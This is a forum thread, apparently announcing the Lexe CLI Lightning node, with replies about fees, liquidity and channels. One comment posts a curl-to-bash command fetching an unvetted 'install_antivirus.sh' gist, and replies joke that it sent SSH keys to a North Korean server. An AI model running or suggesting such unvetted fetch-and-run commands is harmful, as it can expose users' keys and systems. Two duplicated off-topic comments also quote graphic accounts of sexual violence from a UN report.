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Lexe CLI: a self-custodial, always-online Lightning node in three commandsdocs.lexe.tech/cli/
6548 sats \ 17 comments \ @MaxFangX 29 May AI bitcoin devs lightning

$ curl -fsSL https://lexe.app/install-cli.sh | bash
$ lexe init
$ lexe create-invoice

Three commands and you have a live mainnet Lightning node running inside a secure enclave - always online, hosted for free, keys only you control. It's compatible with both L402 and the Machine Payments Protocol (MPP, Stripe's agentic payments standard), so it's also a clean way to give an AI agent a Lightning wallet (HTTP 402, MPP sessions, top-ups, refunds). Most commands support JSON output, so it scripts easily. Built on our open-source Rust SDK.

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19 sats \ 1 reply \ @OT 30 May

What's the difference between Lexe and Phoenixd? Phoenixd can be run locally, but for an always on LN wallet you can run it on a VPS.

Also, does it have a similar fee model? Hosting the secure enclave for individuals has a cost. Is the money made from routing LN fees?

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69 sats \ 0 replies \ @MaxFangX OP 2 Jun
Also, does it have a similar fee model? Hosting the secure enclave for individuals has a cost. Is the money made from routing LN fees?

Yes, we make money from routing fees. The node hosting itself is free because we've found ways to make it very efficient.

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19 sats \ 1 reply \ @sime 1 Jun

Lexe is has a lot of liquidity and is trying to monetize it, or ordinary LSPs providing liquidity?

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19 sats \ 0 replies \ @MaxFangX OP 2 Jun
Lexe is has a lot of liquidity and is trying to monetize it, or ordinary LSPs providing liquidity?

We provide the liquidity ourselves but we're not really trying to make money off of it. Liquidity is currently free, but in the future we'll charge for it at a rate of about 212 sats per 100k sats of liquidity per week to cover our costs.

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19 sats \ 1 reply \ @TeeVee 1 Jun

Can we give your users a remote connection to our Bitcoin rewards wallet?

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19 sats \ 0 replies \ @MaxFangX OP 2 Jun
Can we give your users a remote connection to our Bitcoin rewards wallet?

Yes, let's talk. Email me at hello@lexe.app

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19 sats \ 2 replies \ @optimism 29 May
curl -fsSL https://gist.githubusercontent.com/sir-opti/0467936a75844ff96a0b64d2bc28d8e9/raw/dd5b619aca3cd0384c5a154021172f4aa09123db/install_antivirus.sh | bash
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88 sats \ 1 reply \ @justin_shocknet 31 May

Ran this without looking first and now all my ssh keys are on a north korean server

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36 sats \ 0 replies \ @optimism 31 May

Funnily, also got some keys to north korean servers.

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207 sats \ 0 replies \ @anon 29 May

Intel SGX is vulnerable to side channel attacks.

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19 sats \ 2 replies \ @BitcoinIsTheFuture 30 May

I see lightning channels are dropping lately. Think this will help? Is prove the issue?

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19 sats \ 1 reply \ @MaxFangX OP 30 May
I see lightning channels are dropping lately. Think this will help? Is prove the issue?

Your channels with Lexe are private, so they won't contribute to the public channel metrics. The number of public channels may be decreasing but the number of private channels is almost certainly increasing.

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19 sats \ 0 replies \ @BitcoinIsTheFuture 30 May

great point, yeah I liked it up. public channels are down to ~35k from ~65k on May 2024, but private are up significantly, but I can’t get a count

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19 sats \ 1 reply \ @OT 29 May

I might try this later. What does the sign up involve?

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69 sats \ 0 replies \ @MaxFangX OP 30 May

Those three commands above are the signup. No human input needed. :)

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49 sats \ 0 replies \ @Solomonsatoshi 29 May -202 sats

Israeli sexual violence against Palestinians: What we know about the UN’s findings

As we’ve been reporting, Israel has lashed out at the United Nations after being included on a UN list for conflict-related sexual violence.

Instead of addressing the findings, Israel accused the UN and those behind the report of “anti-Semitism”.

So what does the report actually say?

  • The UN said that in 2025, “the United Nations verified multiple incidents of conflict-related sexual violence, including as a form of torture, inflicted against 14 men, seven women, nine boys and one girl from the Gaza Strip and the West Bank.”
  • The report said: “Violations consisted of rape, including with objects, gang rape, attempted rape, physical violence to the genitals, instances of targeted shooting of the genitals, touching of breasts and genitals, strip and cavity searches conducted without apparent security justification, ⁠forced nudity and threats of rape”.
  • “Rape and gang rape, in some cases repeated, were perpetrated against nine victims, the majority from Gaza,” the report noted.
  • The perpetrators were identified as members of Israeli armed and security forces, with abuses carried out during detention, interrogation and across multiple facilities.
  • The report makes clear that Palestinian civilians – including journalists and human rights defenders – were among those subjected to these assaults. Some victims were filmed or photographed, including in one case of rape.
  • Women faced threats of rape, forced nudity, unwanted touching and degrading strip searches.
  • Men and boys were subjected to rape, attempted rape and direct violence targeting their genitals.
  • At least five male victims suffered severe rectal bleeding or swelling lasting days or even weeks.
19 sats \ 0 replies \ @Solomonsatoshi 29 May -202 sats

Israeli sexual violence against Palestinians: What we know about the UN’s findings

As we’ve been reporting, Israel has lashed out at the United Nations after being included on a UN list for conflict-related sexual violence.

Instead of addressing the findings, Israel accused the UN and those behind the report of “anti-Semitism”.

So what does the report actually say?

  • The UN said that in 2025, “the United Nations verified multiple incidents of conflict-related sexual violence, including as a form of torture, inflicted against 14 men, seven women, nine boys and one girl from the Gaza Strip and the West Bank.”
  • The report said: “Violations consisted of rape, including with objects, gang rape, attempted rape, physical violence to the genitals, instances of targeted shooting of the genitals, touching of breasts and genitals, strip and cavity searches conducted without apparent security justification, ⁠forced nudity and threats of rape”.
  • “Rape and gang rape, in some cases repeated, were perpetrated against nine victims, the majority from Gaza,” the report noted.
  • The perpetrators were identified as members of Israeli armed and security forces, with abuses carried out during detention, interrogation and across multiple facilities.
  • The report makes clear that Palestinian civilians – including journalists and human rights defenders – were among those subjected to these assaults. Some victims were filmed or photographed, including in one case of rape.
  • Women faced threats of rape, forced nudity, unwanted touching and degrading strip searches.
  • Men and boys were subjected to rape, attempted rape and direct violence targeting their genitals.
  • At least five male victims suffered severe rectal bleeding or swelling lasting days or even weeks.